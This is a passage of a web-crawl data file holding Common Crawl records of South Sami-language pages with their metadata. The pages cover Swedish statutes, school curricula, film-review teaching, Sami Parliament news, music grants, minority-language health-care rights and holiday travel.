jarngesne.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/nearadio.no\/styrker-tilstedevarelse-i-sorsamisk-sprakomrade\/19.23316","date":"2020-08-13T20:32:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439739073.12\/warc\/CC-MAIN-20200813191256-20200813221256-00055.warc.gz","language":"sma","language_score":0.9712231755,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9712231755256653, \"sme_Latn_score\": 0.021549558266997337}","num_words":561,"character_repetition_ratio":0.077,"word_repetition_ratio":0.004,"special_characters_ratio":0.152,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":0.983,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daesnie Sveerjen öörnegetjåahkoem (Svensk författningssamling, SFS) bæjhkohte – dïhte byjjes jïh autentiske versjovne laakijste, mieriedimmijste jïh såemies njoelkedassh åejvieladtjijste.\nDah öörnegh daennie webbesijjesne leah tjirkeme ståanteste dah lea bæjhkoehtamme. Dah öörnegh leah vuesiehtamme numhtie goh dah vååjnoeh dennie tïjjemieresne gosse lea bæjhkoehtamme, mij sæjhta jiehtedh dej maadtoeversjovnesne. Jis öörnege maam lea staeriedamme dle dam aaj jallh dah staeriedamme sæjroeh daesnie gaavnh.\nÖörnegh mejtie lea nænnoestamme 1 b. voerhtjen asken jaepien 2018 åvtelen maahtah dej byjjes jïh autetentiske versjovnine gaavnedh dennie aerebe dïedtesovveme versjovnesne Sveerjen öörnegetjåahkoste. Dah eah leah daennie webbesijjesne bæjhkoehtamme.\nVielie bïevnesh akten öörnegen bïjre gaavnh Reerenassekanslijen reaktadaatavåarhkojne. Desnie dah öörnegh ellies teekstehammosne dej jeatjadehtemigujmie – dïhte konsolideereme versjovne – jïh akte öörnegelæstoe. Læstoen sisnie bïevnesh jeatjadehtemi bïjre, gåessie faamose jåhtajamme, gusnie åvtesbarkoeh gaavnedh j.v. Öörnegh mah eah vielie faamosne leah aaj læstoen sisnie gaavnh. Öörnegh mah leah dennie aerebe dïedtesovveme versjovnesne Sveerjen öörnegetjåahkoste maahtah pdf-haamosne gaavnedh daatavåarhkosne Sveerjen öörnegetjåahkoe dïedteme versjovnesne (Svensk författningssamling i tryckt version).\nSeamma reaktabïevnesh maahtah dan byjjes reaktabïevnesesysteemesne gaavnedh mij gohtje Lagrummet.\nMaahtah vielie dan svïenske laaketseegkemeprosessen bïjre lohkedh daesnie: www.regeringen.se.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/svenskforfattningssamling.se\/sydsamiska.html","date":"2020-10-01T05:48:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402130615.94\/warc\/CC-MAIN-20201001030529-20201001060529-00323.warc.gz","language":"sma","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":46,"top_langs":"{\"sma_Latn_score\": 1.000004768371582}","num_words":172,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n-\nMaahtaldahkeulmieh\n- Maahtoeulmie 2. jaepiedaltesen mænngan\n- Maahtoeulmie 4.jaepiedaltesen mænngan\n- Maahtoeulmie 7. jaepiedaltesen mænngan\n- Maahtoeulmie 10.jaepiedaltesen mænngan\n- Maahtoeulmie Jåa1 mænngan- studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa1 mænngan – barkoefaageles ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa3 mænngan- lissiebigkeme sïejhme studijemaahtose\n- Faagem vierhtiedidh\nMaahtoeulmie Jåa3 mænngan- lissiebigkeme sïejhme studijemaahtose\nDotkijassaMål for opplæringen er at eleven skal kunne\n- illedahkh jïh jiehtegi gaskem juekedh jïh kvaliteetem digkiedidh jïjtse jïh mubpiej vuekine jïh jïjtse jïh mubpiej daatine jïh toelhkestimmine\n- digkiedidh eatnemefaageles dåeriesmoerh mah leah sjyöhtehke daan biejjien mah våaromem utnieh praktihkeles goerehtimmine jallh systematiseradamme bïevnesh ovmessie gaaltijijstie\n- aelhkie daatasimuleradimmieh jallh animasjovnh nuhtjedh juktie vuesiehtidh jïh buerkiestidh eatnemefaageles fenomenh, jïh hypoteesh teestadidh\n- joekehts jïh hedtieh digkiedidh guktie aerpievuekien daajroe jïh daejremen daajroe eatnemen bïjre tseegkesåvva jïh guhkiebasse soptsesuvvieh\nMonnehke evtiedimmieMål for opplæringen er at eleven skal kunne\n- suksesjovneprosessh aktene ekosystemesne goerehtidh jïh buerkiestidh\nBioteknologijeMål for opplæringen er at eleven skal kunne\n- dïejvesem genetisk kode buerkiestidh, jïh åejviebiehkide proteinsyntesesne buerkiestidh jïh vuesiehtimmieh vedtedh guktie aerpie jïh byjrese ektesne spielieh\n- dïejvesidie kroessedimmie jïh genmodifisering buerkiestidh, jïh vuesiehtimmieh vedtedh guktie bioteknologije åtnasåvva juktie jïjtsevoeth modifiseradidh sjædtoej jïh kreeki luvnie\n- bijjieguvviem vedtedh ovmessie såarhts medisijnen åtnoen bïjre bioteknologijeste, jïh nuepieh jïh haestemh digkiedidh dagkarinie åtnosne\n- argumenth viertiestidh bioteknoligije-åtnoen bïjre, jïh faageles jïh etihkeles dåeriesmoerh digkiedidh dej bïjre\nGoekedimmie jïh radioaktiviteeteMål for opplæringen er at eleven skal kunne\n- buerkiestidh guktie goeksege sjædta jïh vuesiehtimmieh vedtedh guktie Nöörje lea orreme jïh lea akte vihkeles laante goerehtimmesne daennie suerkesne\n- ozon-skierien ulmiem buerkiestidh goekedæmman biejjeste\n- buerkiestidh mij drivhuseffekte lea, jïh buerkiestidh guktie almetji darjomh energijebalansem jarkelieh atmosfææresne\n- buerkiestidh naan seapan konsekvensh lissiehtamme drivhuseffekteste arktihken jïh vueliehkåbpoe dajvine, jïh aktem sjyöhtehke klijmaråajvarimmiem digkiedidh\n- voejhkelimmieh tjirrehtidh radioaktiviteetine, bieliedimmietïjjine jïh duekiegoekedimmine, fenomenide buerkiestidh jïh aelhkie aerviedimmieh darjodh\n- væhtah buerkiestidh ovmessie såarhts ioniserende goekedimmine, jïh vuesiehtimmieh vedtedh guktie dagkeres goekedimmie åtnasåvva teknihkeles jïh medisijnen åtnosne\n- buerkiestidh guktie elektromagnetiske goekedimmie veartenerommeste maahta toelhkestamme sjïdtedh jïh bïevnesh vedtedh veartenerommen bïjre\nEnergije båetijen aajkanMål for opplæringen er at eleven skal kunne\n- buerkiestidh mij lea redoksreaksjovnh, voejhkelimmieh darjodh båeltielimmine, galvaniske elementine jïh elektorlysine, jïh illedahkide buerkiestidh\n- buerkiestidh guktie naan sïejhme batterijh jïh båeltielimmiecellah fungeradieh, jïh gusnie dah åtnasuvvieh\n- buerkiestidh ovmessie såarhts åtnoem biomasseste goh energijegaaltije\nSide 12 Av 13","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.udir.no\/kl06\/NAT2-03\/Hele\/Kompetansemaal\/maahtoeulmie-jaa3-maenngan--lissiebigkeme-s%C3%AFejhme-studijemaahtose?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-09-19T08:21:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400191160.14\/warc\/CC-MAIN-20200919075646-20200919105646-00067.warc.gz","language":"sma","language_score":0.9999791384,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999791383743286}","num_words":354,"character_repetition_ratio":0.099,"word_repetition_ratio":0.006,"special_characters_ratio":0.133,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Filme-ållermaehtemh edtjieh raerieh vedtedh ïedtjije lohkijidie mah filmh dah byöroeh vuejnedh. Dan åvteste akte ållermaehtije tjuara lahtestidh dam mij filmem hijven jallh nåake dorje.\nSubjektijve, men buerkiestamme\nJis datne jienebh filme-ållermaehtemh aktede jïh seamma filmeste lohkh, sïjhth vuejnedh ållermaehtijh filmem joekehtslaakan vuarjasjieh, jïh dah ovmessie bielieh filmeste lahtestieh. Numhtie edtja årrodh, dan åvteste mijjieh filmide vuarjasjibie jïh toelhkestibie jïjtjene daajroej jïh dååjrehtimmiej mietie. Mijjen aaj joekehts smaahke. Dan åvteste akte ållermaehtije tjuara lohkijidie tjïelkestidh man åvteste filmem vuarjesje naemhtie goh dorje.\nKrïevenassh\nMah krïevenassh akte ållermaehtije byöroe nuhtjedh juktie filmen kvaliteetem vuarjasjidh? Ållermaehtije byöroe jiehtedh mejtie filme maam akt orre sjugnede sjangeren sisnjelen, jallh mejtie dïhte lea jearsoes, åehpies mieriej sisnjeli. Dïhte filmem vuajna ektiedimmesne dej jeatjah filmigujmie mejtie filme-bïhkedæjja aarebi dorjeme. Lissine lohkije tjuara daejredh mah våajnoes væhtah mah leah filmesne: Mij vuesiehtimmien gaavhtan sjïere dramatiseradimmine? Guktie dorjehtæjjah spealadieh? Jïh mah viehkie-vierhtieh filmesne åtnasuvvieh? Gosse filmem vuarjasjibie edtjebe sjangerasse jïh ulmie-dåahkan vuartasjidh. Jis akte ållermaehtije ij filmh lyjhkh mestie bælla, ij sïjhth jiehtedh ållermaehtije maahta gaajhkh filmh \"leekedidh\" daan sjangeren sisnjelen. Dellie buerebe dagkeres vuarjasjimmiem akten måbpan vedtedh. Faage-dïejvesh jallh aarke-biejjien gïele?\nHammoe jïh gïele ållermaehtiemisnie tjuerieh sjïehtedamme årrodh ulmie-dåahkan. Jis mijjieh gaajhke-såarhts vuartasjæjjide tjaelebe, byörebe våårege årrodh faagegïeline. Gïele maahta aaj såemiesmearan sjïehtedamme årrodh filmen sisvegasse. Baaltelen meedije vihkeles: Mijjieh jeatjah veanhtadimmieh utnebe Filme-pollisen ållermaehtiemidie NRK P3-programmesne goh akten tjaaleldh teekstese seamma sjangerisnie aktene plaeresne.\nTjiehpieslaakan tjaaleme jïh sjollehte\nÅllermaehteme akte journalistiske teekste. Dïhte edtja viehkiehtidh aktem plaeriem, raadijove-programmem jallh nedte-sijjiem doekedh. Dan åvteste ij edtjh ajve bievnedh: teekste tjuara aaj lohkiji ïedtjem feengkedh jïh dam steeredh. Akte hijven gïele jïh akte persovneles gïele leah dan åvteste daerpies!\nArtihkeleKjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nEssayeKjernestoff\nGuktie lohkije-tjaalegem tjaeledhKjernestoff\nGærja-ållermaehtemhKjernestoff\n- Kjernestoff\nGaajh tjarke histovrijetæjmoe GaupesteKjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\nKronihkeKjernestoff\nFilme OfelašKjernestoff\nGuktie tjaalegem jïh filmem viertiestidhKjernestoff\nKronihke: Vaajmoe-gïeleKjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\nBaajh guvviem jieledh!Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh filmese OfelašKjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389\/resource:1:178739","date":"2020-09-22T18:27:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400206329.28\/warc\/CC-MAIN-20200922161302-20200922191302-00067.warc.gz","language":"sma","language_score":0.9999639988,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999639987945557}","num_words":340,"character_repetition_ratio":0.12,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie barka ihke saemieh edtjieh åadtjoeh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahkejieledem gorredidh jïh evtiedidh.\nIemielaakan Saemiedigkie vuesiehtimmieh tjïrrehte, men suetievaarjelimmien gaavhtan gaajhkh vuesiehtimmieh jaepien 2020 leah heajhtasovveme. Mïnnh guessine mijjen digitaale vuesiehtimmesne gusnie maahtah ånnetji gåeteste vuejnedh jïh åadtjodh ånnetji vielie daejredh Saemiedigkien barkoen bïjre.\nWatch a digital tour of the Sami Parliament Building, with english subtitles\nMijjieh gaajhkh tjaalegh jïh kronihkh tjöönghkeme mejtie koronapandemijen bïjre bæjhkoehtamme.\nLohkh","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/sametinget.no\/?sprak=14\/saernievaaarhkoe\/sametinget-tilbyr-digital-omvisning-sommeren-2020\/","date":"2020-09-21T03:50:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400198887.3\/warc\/CC-MAIN-20200921014923-20200921044923-00223.warc.gz","language":"sma","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":109,"top_langs":"{\"sma_Latn_score\": 1.0000022649765015}","num_words":69,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaerine, vaegkine ja voenine (VVV) lea praktihke jïh -aamhtesi mietie juakaldihkie learoevierhtie -learoehkidie giej leah saemien mubpiengïeline maadthskuvlesne. -Aalkoevistie learoevierhtie lij Maahtoelutnjeme 2013-learoe soejkesjasse dorjesovveme, badth daelie learoevierhtiem orrestahteme jïh orre LK20-soejkesjidie sjïehtesjamme.\nLearoevierhtien leah 12 gærjetjh mah naemhtie juakaldihkie:\nJoekoen buerie lohkehtæjjanbïhkedasse lohkehtæjjide viehkehte guktie dam learoevierhtiem utnedh. Dïhte dovne saemien- jïh daaroengïelesne Tjaelijibertemen nehtesæjrojne.\nLissine dle evtedeminie måedtielaaketje gïeleskreejrehtimmes vierhtieh goh spïelh, kåarhth jïh guvvieh. Vierhtieh eah leah annje bæjhkoehtovveme, dannasinie ij lij aelhkie beetnehvierhtieh åadtjodh. Naan dejstie vierhtijste læjhkan julev- jïh åarjelsaemien lohkehtæjjanbïhkedassine båetieh. Vuartesjh Tjaelijibertemen nehtesæjrojne.\nUtgitt 2020\nSider 32\nHeftet","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.gavpi.org\/laeremidler\/1620-vaegkine-1.html","date":"2020-09-29T03:14:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401624636.80\/warc\/CC-MAIN-20200929025239-20200929055239-00271.warc.gz","language":"sma","language_score":0.9999967813,"language_script":"Latn","minhash_cluster_size":38,"top_langs":"{\"sma_Latn_score\": 0.9999967813491821}","num_words":92,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïhte 20 jaepien båeries ålma mij dæjmetje jaepien göölemefestivaalesne akten 22 jaepien båeries ålman gaejpiem murhkesti, tjuara uktsie askh faangkegåetesne tjahkasjidh jïh 40 000 kråvnah böötine maeksedh don 22 jaepien båeries ålmese, Trønder-Avisa bïeljeli evteben gaskevåhkoen. Meadtoe lij kruepies kråahpeskaara. Dåapmosne tjåådtje don 22 jaepien båeries ålman gaejpie tsoepkenadti göökte sijjine, jïh dan gaavhtan ålma tjoeri operasjovnem vaeltedh.\nSiströöndelagen digkiereakta veanhta dïhte 20 jaepien båeries ålma aajkojne tseepmi, jïh dan gaavhtan skaara joekoen stoerre sjïdti – jïh dan gaavhtan tjuara striengkies strååffem åadtjodh olles vielie numhtie darjoeh.\n«Reakta aaj sæjhta tjïertestidh meadtohke sijjeste baatari bielelen goerehtidh guktie leerhkehtallijinie gåaradi», dåapmosne tjåådtje.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.snasningen.no\/uktsie-askh-daaresjimmien-avteste-aadtjoeji\/s\/5-118-4020","date":"2020-09-30T15:28:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402127075.68\/warc\/CC-MAIN-20200930141310-20200930171310-00763.warc.gz","language":"sma","language_score":0.9999825954,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999825954437256}","num_words":93,"character_repetition_ratio":0.125,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luhkieakte bæjhkoehtimmieh leah dåarjoem saemiedigkieraereste åådtjeme juktie saemien musihkem jïh vueliem bæjhkoehtidh daan ohtsemeboelhken, jïh hijven jïh gelliesåarhts sjaangerh dej gaskem mah ohtseme jïh dåarjoem åådtjeme.\nUlmie dåarjoejgujmie lea hijven saemien musihkem eevtjedh mij dïllesasse sjædta gaajhkesidie. Daan\njaepien dåarjoem vadteme dovne daajbaaletje jïh aerpievuekien saemien musihkese.\n– Saemien musihke lea vihkeles jïh sjïere bielie mijjen kultuvreste. Ohtsemh jïh dåarjoeh vuesiehtieh jïjnje gieltege heannede daennie suerkesne. Gellie sjaangerh leah meatan jïh gellie artisth jolle njieptjesne, saemiedigkieraerie Henrik Olsen jeahta.\nDej gaskem mah dåarjoem åådtjeme lea Emil Karlsen albuminie «Jovssai mu niegus». Karlsen lij Riddu Riđđun noere artiste 2019 jïh lea jïjtjemse vuesiehtamme goh væjkele laavlometjaelije gieltegs tjoejeguvvine jïh hijven buektemevuekine.\n– Joekoen hijven maehtedh noere artisth dåarjodh goh Emil. Daate lea akte mijjen artistijste mestie joe jïjnjem hijven govleme, jïh manne aavodem vuejnedh gosse jåarhka jïjtjemse evtiedidh, Olsen jeahta.\nDåarjoe vadtasovveme dovne orre jïh aarebi saemien artistide. Dej gaskem dåahkan Ozas gusnie åabpetjeguaktah Sara Marielle Gaup Beaska jïh Risten Anine Gaup lægan meatan.\n– Ozas joe spealadamme jieniebinie scenine dovne Saepmesne jïh jeatjah lehkesne Nöörjesne jïh gellie goltelæjjah leah bæjhkoehtimmien mietie gihtjeme daehtie dåehkeste. Sjollehke gosse bæjhkoehtimmie båata dejstie daelie, Henrik Olsen jeahta.\nDåarjoe aaj vadtasovveme bæjhkoehtimmide joejkeminie, dej gaskem akte bæjhkoehtimmie maanavueliejgujmie maam Amundsen River-Hood studio jïh Bernt Mikkel Haglund, jienebi aerpievuekien joejkijigujmie ektine leah dorjeme.\n– Mijjieh geerjene ihke dan jeenjesh leah vueliem meatan vaalteme aerpievuekien jallh daajbaaletje musihken sïjse, saemiedigkieraerie jeahta.\nDåarjoeöörnegen, Bæjhkoehtimmie vueleste jïh saemien musihkeste, mubpie ohtsememierie lea golken 1.b. 2020.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/saernieh.no\/saemiedigkieraerie-1388-millijovnh-joekede-baejhkoehtaemman-saemien-musihkeste-jih-vueleste\/","date":"2020-10-01T17:57:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402131986.91\/warc\/CC-MAIN-20201001174918-20201001204918-00178.warc.gz","language":"sma","language_score":0.9999872446,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999872446060181}","num_words":240,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.163,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Obs! Detta val innebär att du inte ser regionalt innehåll och viktig information som gäller just din region.\nBesök 1177.se, logga in för personliga e-tjänster eller ring 1177 för sjukvårdsrådgivning.\nVueptesth covid-19:n symtovmide. Vaarjelh datnem jïh mubpide suetiem geerjehtidh\nDatne mij lea bieline aktede nasjonaale unnebelåhkoste, dov lea muvhti veajkoej reakta dov gïelem nuhtjedh gosse healsoedïenesjinie gaskesadth. Vuartesjh daesnie mij lea faamosne ovmessie tsiehkine.\nSkïemtjijelaake dutnjien gie skïemtjije. Dïhte buerkeste edtjh bïevnesh åadtjodh dov skïemtjelassen bïjre jïh mah båehtjierdimmieh gååvnesieh. Dellie maahtah meatan årrodh jïh dov hoksem nænnoestidh. Edtjh aaj åadtjodh daejredh gusnie maahtah dov hoksem veeljedh maam daarpesjh.\nDenna webbplats använder cookies för att ge alla besökare ökad funktionalitet och service. Läs mer om cookies.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.1177.se\/sma-se\/other-languages\/other-languages\/regler-och-rattigheter---andra-sprak\/","date":"2020-09-24T02:38:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400213006.47\/warc\/CC-MAIN-20200924002749-20200924032749-00555.warc.gz","language":"sma","language_score":0.9998581409,"language_script":"Latn","minhash_cluster_size":247,"top_langs":"{\"sma_Latn_score\": 0.9998581409454346}","num_words":115,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vihties dajvine laantesne sjïere nænnoestimmieh leah faamosne. Juktie bïevnesh åadtjodh dov dajveste, gïehtjh datne leah reaktoe dajvem veeljeme dajveveeljijisnie sæjroen bijjiebielesne.\nMah leah doh nasjonaale unnebelåhkoeh?\nLaake nasjonaale unnebelåhkoej jïh unnebelåhkoegïeli bïjre lea faamosne rom-almetjidie, juvdide, saemide, sveerjensåevmien almetjidie jïh tornedalalmetjidie\nJis dov lea ektiedimmie akten daejstie unnebelåhkojste dov lea reakta dov gïelem nuhtjedh gosse vihties åejvieladtjigujmie gaskesadth, vuesiehtimmien gaavhtan dah mah dïedtem utnieh healsoedïenesji jïh hoksen åvteste\nDatne jïjtje mij muana mejtie datne leah ektiedamme akten nasjonaale unnebelåhkose. Ih naan sjïere vihtienassem daarpesjh.\nMah gïelh leah?\nDoh nasjonaale unnebelåhkoeh gïelh leah:\n- Såevmien\n- Saemien gïelh\n- Meänkieli\n- Rom-gïele\n- Jiddisch\nLaake lea faamosne gaajhkesidie mah unnebelåhkoegïelem Sveerjesne soptsestieh, saaht gusnie datne laantesne årroeh. Laake lea nænnoesåbpoe sjïere dajvine, gusnie gïele lea sïejhmebe. Dah dajvh reeremedajvine gohtjesuvvieh.\nMij faamosne gosse healsoedïenesjen bïjre syökem?\nDatne edtjh maehtedh soptsestidh, jïh aaj bïevnesh jïh viehkiem åadtjodh dov gïelesne dan gåhkese gåarede. Daate faamosne gosse soptsesth jïh gosse tjaalah. Dov gïele vihkeles ihke datne edtjh maehtedh meatan årrodh dov healsoedïenesjisnie. Gihtjh desnie gusnie healsoedïenesjen bïjre syökh mejtie barkijh gååvnesieh mah dov gïelem soptsestieh.\nJis eah almetjh gååvnesh mah dov gïelem soptsestieh maahtah birredh toelhkem åadtjodh gosse edtjh healsoedïenesjisnie mïnnedh. Vihkeles datne soptsesth datne toelhkem sïjhth joe gosse healsoedïenesjem dongkh. Dellie toelhke maahta datnem viehkiehtidh gyhtjelassh gihtjedh jïh healsoebarkiji vaestiedassh jarkoestidh.\nGuktie toelhkeviehkie jåhta?\nMaahtah toelhkem joekehtslaakan gaavnedidh. Toelhke maahta seamma sijjesne årrodh goh datne jallh tellefovnesne jallh videovisnie årrodh.\nJoekehts gïelh mah leah jearohke dov årromesijjeste\nMah unnebelåhkoegïelh mah soptsesuvvieh maehtieh joekehtadtedh jearohke dov årromesijjeste. Maahtah syökedh healsoedïenesjem åadtjodh jeatjah dajvesne jis barkijh eah gååvnesh mah dov gïelem soptsestieh raaktan desnie datne årroeh. Maahtah aaj birredh tjaaleldh bïevnesh åadtjodh dov gïelesne. Muvhtine sååjhtoe dov lïhkemes almetjh maehtieh daarpesjidh bïevnesidie åadtjodh.\nMuvhten aejkien tjïelte dïedtem åtna dåarjoen, healsoedïenesjen jïh hoksen åvteste, jïh dellie edtjh dejgujmie gaskesadtedh dov gyhtjelassi bïjre. Maahta vuesiehtimmien gaavhtan dåarjoen bïjre årrodh sosijaaledïenesjistie jallh voeresehokseste.\nMij faamosne voeresehoksen sisnjelen?\nJis datne årroeh aktene reeremedajvesne såevmien, meänkieli jallh saemien gïelese, dellie datne, mij lea ektiedamme naakenidie daejstie unnebelåhkojste, reaktam åtnah hoksehtimmiem jïh healsoedïenesjem åadtjodh barkijijstie mah dov gïelem soptsestieh. Dah mah dïedtem utnieh voeresehoksen åvteste daejnie tjïeltine, dïedtem utnieh gïehtjedidh barkijh gååvnesieh mah gïelide soptsestieh.\nJeatjah bieline laanteste dov lea reakta voeresehoksem dov gïelesne åadtjodh jis barkijh gååvnesieh mah gïelem maehtieh. Daate reakta lea aaj faamosne dutnjien mij jiddisch jallh rom-gïelem soptseste.\nJis ih leah madtjeles healsoedïenesjinie\nJis ih leah madtjeles healsoedïenesjinie edtjh uvtemes dejnie healsoedïenesjinie gaskesadtedh man bïjre laejhteme lea. Birrh toelhkeviehkien bïjre jïh voejhkelh sïemes sjïdth dejgujmie mah dïedtem utnieh dåastoehtimmesne.\nMaahtah aaj skïemtjelassemoenehtsem gaskesadtedh dennie dajvesne gusnie årroeh. Jis aamhtesereerije gååvnese mij maahta dov gïelem soptsestidh maahta viehkiem åadtjodh ryöktesth. Jeatjah gaavhtan maahtah skïemtjelassemoenehtsasse tjaeledh. Dah dov teekstem jarkoestieh, jïh mænngan datne vaestiedassem dov gïelesne åadtjoeh.\nSïjhth vielie daejredh?\nSaemiedigkie jïh Leeneståvroe Stuehkien leenesne edtjieh gïehtjedidh laake fulkesåvva. Saemiedigkie dïedtem åtna saemien gïeli åvteste jïh Leeneståvroe Stuehkesne dïedtem åtna jeatjah unnebelåhkoegïeli åvteste.\nSametinget\nEnheten för minoritetsfrågor vid Länsstyrelsen i Stockholms län\nWebbplats för de nationella minoriteterna\nLagen om nationella minoriteter och minoritetsspråk","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.1177.se\/sma-se\/Jonkopings-lan\/other-languages\/other-languages\/regler-och-rattigheter---andra-sprak\/du-som-talar-ett-minoritetssprak\/","date":"2020-09-20T11:30:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400197946.27\/warc\/CC-MAIN-20200920094130-20200920124130-00019.warc.gz","language":"sma","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":97,"top_langs":"{\"sma_Latn_score\": 1.0000067949295044}","num_words":499,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Pressebïevnese Frende Forsikring:ste\nGellie almetjh eah edtjh ålkoerïjhkese fealadidh, mohte naanh frijjevåhkoeh edtjieh utnedh. 1\/3 sæjhta gåetesne eejehtalledh. Daate goerehtimmie Norstat:ste vuesehte.\nDaesnie mijjieh sïjhtebe eejehtalledh (Gaaltije: Frende-goerehtimmie)\n- Eejehtalleme gåetesne, 27%\n- Jïjtje hæhtjosne, 22%\n- Bïjle-eejehtalleme, 17%\n- Staare-eejehtalleme Nöörjesne, 6%\n-Eejehtalleme gåetesne ij leah seamma goh ov-rovne eejehtalleme. Dej minngemes aski bijjeli gellie almetjh leah orre ïedtjide gaavneme mejtie aaj sijhtieh giesie doekoe gïehtelidh, kommunikasjovneåvtehke Frende Forsikring:sne, Heidi Tofterå Slettemoen jeahta.\nNjoktjen raejeste gellie almetjh leah asteme gåetiem buvnedh. Frende-goerehtimmie vuesehte koronatijje doekoe 33% leah gåetiem jallh såafoem buvneme.\n-Hijven dan soe gellie almetjh sijhtieh gåetesne årrodh jïh gåetiem buvnedh. Kaanne ij dan nåake gåetesne eejehtalledh gænnah, dïhte jeahta.\nGellie almetjh bïjle-eejehtallemem veeljieh\nDallahmasten 1\/5 jeahta daan jaepien bïjle-eejehtallemem sæjdta.\n-Domtebe gellie almetjh sijhtieh bïjle-eejehtallemem utnedh juktie dej minngemes våhkoej bijjeli gellie leah ohtseme mejtie buektiehtibie veasoe-bïjlem tjirkedh, faageåvtehke Frende:sne, Roger Ytre-Hauge jeahta.\nGellie almetjidie voestes aejkien edtjieh guhkies vuejedh jïh Ytre-Hauge jeahta vihkeles eensilaakan jïh mojhteleslaakan vuejedh.\nVihkeles åeredh jïh byöpmedidh\nBård Morten Johansen Trygg Trafikk:sne barka jïh dan leah tjïelke raerieh guktie maahtah bïjle-eejehtallemem gïetedidh.\n-Vihkeles fealadimmiem soejkesjidh, njaelkieslaakan åeredh jïh nuekies byöpmedidh, juktie dellie aelkebe vuejedh jïh tryjjedidh, dïhte 